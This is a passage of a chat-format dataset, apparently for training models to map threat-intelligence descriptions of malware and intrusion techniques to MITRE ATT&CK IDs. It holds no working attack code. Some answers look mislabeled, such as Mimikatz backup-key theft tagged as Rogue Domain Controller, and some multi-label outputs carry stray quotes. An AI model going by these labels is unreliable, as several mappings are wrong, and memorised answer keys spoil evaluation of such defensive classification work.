                "role": "user",
                "content": "secretsdump.py: Performs various techniques to dump secrets from the remote machine without executing any agent there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. mimikatz.py: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi"
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.003 - OS Credential Dumping: NTDS', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has sent malicious links to victims through email campaigns."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ability to disable Microsoft Office Protected View (as shown in Figure 15) by setting the following keys in the Windows Registry: DisableAttachmentsInPV DisableInternetFilesInPV DisableUnsafeLocationsInPV       Figure 15: Disabling Microsoft Office Protected View  Ability to remotely reboot or shut down or clean the system based on the command received from the C2 server, as shown in Figure 16"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands systeminfo, net config workstation, hostname, ver, set, and date /t."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors obtained files and data from the compromised network."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has modified Registry settings for default file associations to enable all macros and for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell) - Email extraction from the MS Exchange Server using compromised credentials - Archiving sensitive information - Data exfiltration via legitimate cloud services - Secure file deletion"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1550.003 - Use Alternate Authentication Material: Pass the Ticket', 'T1114.002 - Email Collection: Remote Email Collection', 'T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used `mshta.exe` to load an HTA script within a malicious .LNK file."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has used wmi queries to gather information from the system."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore can modify the victim's firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can use Cron to create periodic and pre-scheduled background jobs."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has created user accounts and added them to local Admin groups."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can delete specified files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex has collected a list of installed software on the system."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is encrypted by RC4, using the key {0xb5, 0x78, 0x62, 0x52, 0x98, 0x3e, 0x24, 0xd7, 0x3b, 0xc6, 0xee, 0x7c, 0xb9, 0xed, 0x91, 0x62}"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used the Microsoft administration tool csvde.exe to export Active Directory data."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can collect the computer name from the machine,."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file destruction algorithm is composed of two stages: a first stage to overwrite files and another to destroy the physical disk layout and the partition tables along with it. For the file destruction, it takes ownership of the files by modifying their ACL entries after it has obtained the 'SeTakeOwnershipPrivilege'. A file found will then simply be overwritten with zeros. This is done for the next 23 drives alphabetically (through \"Z:\\\"). On the second stage, the wiper attempts to set the drive layout of all the physical drives on the system numbered 9 to 0. This will wipe out all extended information about the physical drive's partitions including MBR, GPT and partition entries. Destroying the start of the files and the partitions tables is a common technique seen on other wipers, and its highly effective in preventing the file recovery"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete stores files and logs in a folder on the local drive."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckfly obtained information on the targeted user, but we did find a large open-source presence on the initial target. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. While we know the attackers used a custom dropper to install the back door, we do not know the delivery vector. Based on the amount of open-source information available on the target, it is feasible that a spear-phishing email may have been used. We found evidence that Suckfly used hacktools to move latterly and escalate privileges. To do this the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckfly was successful in stealing other information"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron uses SMTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We mentioned earlier that due to the nature of the IE injection technique used by the HTTP-based backdoors, a number of C2 commands were cached to disk"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA performs a reflective DLL injection using a given pid."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can download additional files and tools from its C2 server, including through the use of BITSAdmin."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has downloaded additional scripts, malware, and tools onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Falcon Intelligence has observed two different methods used to deploy BitPaymer once the domain controllers are compromised. In one instance, only the domain controllers and other critical infrastructure, like payroll servers, were targeted and PowerShell Empire was used to download and execute the BitPaymer malware directly on these servers"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has replaced .dockerd and .dockerenv with their own scripts and cryptocurrency mining software."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Twitter as a backup C2 method. It also has a module designed to post messages to the Russian VKontakte social media site."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "\"beacon\" payload can receive C2 from one protocol and respond on another. This is typically a mixture of HTTP, HTTPS, and DNS traffic."
            },
            {
                "role": "assistant",
                "content": "T1026 - Multiband Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk deletes Application, Security, Setup, and System Windows Event Logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher uses DLL side-loading to load malicious programs."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 modified timestamps of backdoors to match legitimate Windows files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although the targeting profile is the same as the Russian banking cluster, the TTPs are very different. In particular, the use of tooling stands out from other clusters of CARBON SPIDER activity. As with other clusters, the primary infection vector is targeted spear phishing emails that use exploits for a variety of vulnerabilities in Microsoft Office:"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution', 'T1588.006 - Vulnerabilities', 'T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses  to clean up the environment and attempt to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JPIN variant downloads the backdoor payload via the BITS service."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has been packed using a dark market crypter."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The usage of LinkedIn to deliver malicious documents,"
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Configuration Config.ini is the file where the malware stores its encrypted configuration data"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT uses HTTP and HTTPS to communicate with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can mark its binary code for deletion after reboot."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has used compromised credentials to obtain unauthorized access to online accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information about running processes from victims."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI has downloaded a remote module for execution."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It appears to us that one organization had its entire Active Directory dumped out, making up most of the credentials we found in the data dump"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As we discover new tools used by this group, we have consistently discovered overlapping artifacts with previously used tools and infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has compromised the Able Desktop installer to gain access to victim's environments."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can be configured to spread via removable drives."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used compromised credentials to access other systems on a victim network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHA256 Compiled C2 account POP3S Account SMTPS Accounts   861b6bc1f9."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used Remote Desktop to log on to servers interactively and manually copy files to remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 will identify Microsoft Office documents on the victim's computer."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If an attacker has domain admin permissions, he can steal the DC backup key and as a result, decrypt all the domain users’ master keys. The Mimikatz module allowing to extract the domain backup key is lsadump::backupkeys. This module first calls the API functions LsaOpenPolicy with POLICY_GET_PRIVATE_INFORMATION as the DesiredAccess argument, so it will be able to call the function LsaRetrievePrivateData after-"
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer can execute a task to download a file."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Basic system enumeration – The script collects the Windows OS version, computer name, and the contents of a file Ni.txt in $APPDATA path; the file is presumably created and filled by different modules that will be downloaded by the main module"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat has created registry keys for persistence, including `HKCU\\Software\\dnimtsoleht\\StubPath`, `HKCU\\Software\\snimtsOleht\\StubPath`, `HKCU\\Software\\Backtsaleht\\StubPath`, `HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed. Components\\{3bf41072-b2b1-21c8-b5c1-bd56d32fbda7}`, and `HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{3ef41072-a2f1-21c8-c5c1-70c2c3bc7905}`."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nomadic Octopus attempted to make Octopus appear as a  Telegram Messenger with a Russian interface."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to open a remote shell and run basic commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents. It has a long list of file extensions that it tries to overwrite and delete. The complete list contains more than 4000 file extensions"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This INI file is parsed to determine what Comnie should do. Comnie allows the attacker to provide and subsequently execute a batch script (BAT), executable file (EXE), or dynamic-link library (DLL). Using this example, Comnie will then request data to supply to the BAT script, via the following decrypted request: h=HOSTNAME-PC&amp;f=gethostinfo.bat&amp;c=&amp; Based on network traffic witnessed, the remote C2 server was found to respond with the following information"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several BRONZE BUTLER tools encode data with base64 when posting it to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot identifies processes and collects the process ids."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dedicated methods resolve additional strings and API calls at runtime, rendering the PE even more difficult to analyze. Below is an example of the method responsible for resolving the .bazar domains. It loads an obfuscated string, and deobfuscates it using the first character of the domain name as a XOR key for the rest of the string"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to edit the Registry on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
